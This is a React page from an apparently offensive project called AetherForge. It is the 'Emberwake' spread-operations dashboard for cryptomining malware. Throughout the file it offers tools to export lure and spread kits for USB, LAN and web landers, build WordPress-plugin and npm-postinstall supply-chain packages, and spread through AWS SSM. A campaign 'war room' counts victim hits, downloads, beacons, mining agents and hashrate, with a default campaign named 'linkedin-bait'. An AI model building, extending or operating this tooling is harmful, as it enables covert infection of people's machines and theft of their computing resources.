Files
AetherForge/server/web/src/pages/EmberwakePage.tsx
AetherForge bbace3e4bb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Merge cloud venue biomes into dashboard weather and Emberwake biome chip.
2026-06-07 10:02:23 -07:00

660 lines
26 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import { publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import {
aggregateCampaignTelemetry,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from '../help/warRoomTelemetry';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
export default function EmberwakePage() {
const { latestMessage, agents: wsAgents } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
const [campaign, setCampaign] = useState('linkedin-bait');
const [pinA, setPinA] = useState('');
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
const [warRoomUpdated, setWarRoomUpdated] = useState('');
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const [autopsySubnet, setAutopsySubnet] = useState('');
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const biomeLabel = useMemo(() => {
let scout: ScoutConstellationSnapshot | null = null;
let cloud: CloudVenueSnapshot | null = null;
if (latestMessage?.type === 'scout_constellations') {
scout = latestMessage.payload as ScoutConstellationSnapshot;
}
if (latestMessage?.type === 'cloud_venue_biomes') {
cloud = latestMessage.payload as CloudVenueSnapshot;
}
return activeBiomeLabel(scout, cloud);
}, [latestMessage]);
// Keep refs so `load` can read current pin values without listing them as deps.
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
// re-render → new load reference → useEffect fires load() again (×N).
const pinARef = useRef(pinA);
const pinBRef = useRef(pinB);
pinARef.current = pinA;
pinBRef.current = pinB;
const loadWarRoom = useCallback(async () => {
try {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
} catch {
/* war room is non-critical; silently retain previous data */
}
}, []);
const load = useCallback(async () => {
const [b, info, cfg, pub, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
void loadWarRoom().catch(() => {});
if (!pinARef.current) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
}
if (!pinBRef.current && b.length > 1) {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [loadWarRoom]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (!latestMessage || latestMessage.type !== 'seer_events') return;
const ev = parseSeerSubnetAutopsy(latestMessage.payload);
if (ev?.prefix) setAutopsySubnet(ev.prefix);
}, [latestMessage]);
const liveTelemetry = useMemo(() => aggregateCampaignTelemetry(wsAgents), [wsAgents]);
const maxLiveHashrate = useMemo(() => maxTelemetryHashrate(liveTelemetry), [liveTelemetry]);
const displayCampaigns = useMemo(() => {
if (!warRoom?.campaigns?.length) return [];
return warRoom.campaigns.map((c) =>
mergeCampaignWithLiveTelemetry(c, liveTelemetry.get(c.campaign)),
);
}, [warRoom, liveTelemetry]);
const campaignAgentsMap = useMemo(() => {
const out: Record<string, typeof wsAgents> = {};
for (const [slug, telemetry] of liveTelemetry) {
out[slug] = telemetry.agents;
}
return out;
}, [liveTelemetry]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
return;
}
if (latestMessage.type === 'emberwake_war_room') {
const p = latestMessage.payload as WarRoomResponse;
if (p && Array.isArray(p.campaigns)) {
setWarRoom(p);
setWarRoomUpdated(p.generated_at || new Date().toISOString());
}
}
}, [latestMessage]);
const stopNotesTyping = useCallback(() => {
if (typingTimerRef.current) {
clearTimeout(typingTimerRef.current);
typingTimerRef.current = null;
}
if (typingActiveRef.current) {
typingActiveRef.current = false;
sendNotesTyping(false);
}
}, [sendNotesTyping]);
const handleNotesChange = (value: string) => {
setNotes(value);
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
typingTimerRef.current = setTimeout(() => {
if (!typingActiveRef.current) {
typingActiveRef.current = true;
sendNotesTyping(true);
}
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
}, NOTES_TYPING_DEBOUNCE_MS);
};
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
const handleConstellationSelect = useCallback((slug: string) => {
setHighlightedCampaign(slug);
setWarRoomView('funnel');
}, []);
useEffect(() => {
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
const t = window.setTimeout(() => {
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}, 80);
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
return () => {
window.clearTimeout(t);
window.clearTimeout(clear);
};
}, [warRoomView, highlightedCampaign]);
const saveNotes = async () => {
stopNotesTyping();
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
} finally {
setNotesBusy(false);
}
};
const exportKit = async () => {
setExportBusy(true);
try {
await api.exportSpreadKit({
build_id: pinA || pinned[0]?.id || '',
server_url: serverBase,
campaign,
});
} finally {
setExportBusy(false);
}
};
return (
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
<h1>
Emberwake <HelpTip field="ew_overview" />
</h1>
<p className="page-subtitle">
Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p>
{biomeLabel && (
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
Weather biome · {biomeLabel}
</p>
)}
<p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
{' · '}
<a href="/spread/">On-server spread lander</a>
</p>
</div>
</header>
<AlsoHere page="/emberwake" />
{autopsySubnet && <SubnetAutopsyCard subnet={autopsySubnet} />}
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
aria-labelledby="ew-setup-heading"
>
<h2 id="ew-setup-heading" className="emberwake-section-title">
Campaign setup <HelpTip field="ew_campaign_setup" />
</h2>
<p className="emberwake-section-desc">
Set once every link and export below uses these values.
</p>
<div className="emberwake-setup-grid">
<div className="form-group">
<label className="label" htmlFor="ew-campaign">
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
</label>
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
</div>
<div className="form-group">
<label className="label" htmlFor="ew-server">Command deck URL</label>
<input
id="ew-server"
className="input mono"
value={serverBase}
onChange={(e) => setServerBase(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
))}
</select>
</div>
<div className="form-group">
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
<option value=""></option>
{builds.map((b) => (
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
))}
</select>
</div>
</div>
<div className="emberwake-subsection">
<h3 className="emberwake-subsection-title">
Install commands <HelpTip field="ew_install_links" />
</h3>
<p className="emberwake-section-desc">
Per-platform one-liners (PowerShell, bash, macOS) are in Builds pin a build there before sharing links.
</p>
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
<div className="emberwake-subsection emberwake-subsection--inline">
<div>
<h3 className="emberwake-subsection-title">
Download spread kit <HelpTip field="ew_spread_kit" />
</h3>
<p className="emberwake-section-desc">
ZIP templates for USB, LAN, or web landers includes <code>/spread/</code> assets.
</p>
</div>
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
</div>
</section>
<section
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
aria-labelledby="ew-war-room-heading"
>
<h2 id="ew-war-room-heading" className="emberwake-section-title">
Campaign War Room <HelpTip field="ew_war_room" />
</h2>
<p className="emberwake-section-desc">
Track hits downloads beacons miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
</p>
<div className="war-room-toolbar">
<span className="war-room-toolbar-meta">
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' '}<HelpTip field="ew_war_room_funnel" />
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
<button
type="button"
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('funnel')}
>
Funnel board
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('table')}
>
Stats table
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('constellations')}
>
Constellations
</button>
</div>
<HelpTip field="ew_war_room_views" />
<span className="war-room-toolbar-meta">Hash live · funnel WS ~30s</span>
</div>
</div>
{displayCampaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={displayCampaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={displayCampaigns}
days={warRoom?.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
campaignAgents={campaignAgentsMap}
maxLiveHashrate={maxLiveHashrate}
/>
) : (
<div className="war-room-table-wrap">
<p className="war-room-table-key form-hint">
Stats table <HelpTip field="ew_war_room_stats_table" />
</p>
<table className="war-room-table">
<thead>
<tr>
<th>Campaign</th>
<th>Hits</th>
<th>Downloads</th>
<th>Beacon</th>
<th>Mining</th>
<th>Agents</th>
<th>Online</th>
<th>Hashrate</th>
<th>Conv %</th>
<th>7d trend</th>
</tr>
</thead>
<tbody>
{displayCampaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
return (
<tr key={c.campaign}>
<td>
<code>{c.campaign}</code>
{c.last_activity ? (
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
{new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</td>
<td>
<WarRoomOdometer
value={c.hits}
staggerMs={staggerDelayMs(rowIndex, 0)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.downloads}
staggerMs={staggerDelayMs(rowIndex, 1)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={beacon}
staggerMs={staggerDelayMs(rowIndex, 2)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={mining}
staggerMs={staggerDelayMs(rowIndex, 3)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.agents}
staggerMs={staggerDelayMs(rowIndex, 4)}
/>
</td>
<td className="war-room-online">
<WarRoomOdometer
value={c.online}
staggerMs={staggerDelayMs(rowIndex, 5)}
/>
</td>
<td>
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(rowIndex, 6)}
showDelta
/>
</td>
<td className="war-room-conv">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(rowIndex, 7)}
showDelta
/>
</td>
<td>
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
{c.daily_hits.map((v, i) => (
<span
key={i}
style={{ height: `${sparklineBarHeight(v, max)}%` }}
/>
))}
</div>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)
) : (
<p className="war-room-empty">
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
</summary>
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub</p>}>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</Suspense>
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Supply-chain exports <HelpTip field="ew_supply_chain" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
</summary>
<p className="emberwake-section-desc">
WordPress plugin or npm postinstall ZIP uses campaign setup above.
</p>
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
</details>
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Public download links <HelpTip field="ew_public_urls" />
</span>
</summary>
<p className="emberwake-section-desc">
Direct download URLs per build also listed on the login page when marked public.
</p>
<ul className="emberwake-public-list">
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
<li key={b.id}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
</li>
))}
</ul>
</details>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Spread methods AWS SSM Document <HelpTip field="ew_ssm_document" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
</summary>
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
</details>
<section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading"
>
<h2 id="ew-techniques-heading" className="emberwake-section-title">
How to spread <HelpTip field="ew_techniques" />
</h2>
<p className="emberwake-section-desc">
Pick a vector step-by-step instructions live in the{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook
</a>
.
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.anchor}>
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
{t.label}
</a>
{' — '}
{t.hint}
</li>
))}
</ul>
</section>
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
<h2 id="ew-notes-heading" className="emberwake-section-title">
Team notes <HelpTip field="ew_shared_notes" />
</h2>
<p className="emberwake-section-desc">
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
<span className="emberwake-typing-body">
<strong>{notesTyping.user}</strong> is editing notes
<span className="typing-dots" aria-hidden>
<span />
<span />
<span />
</span>
<span className="emberwake-typing-cursor" aria-hidden />
</span>
</div>
)}
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => handleNotesChange(e.target.value)}
onBlur={() => stopNotesTyping()}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
{notesBusy ? 'Saving…' : 'Save notes'}
</button>
</section>
</div>
);
}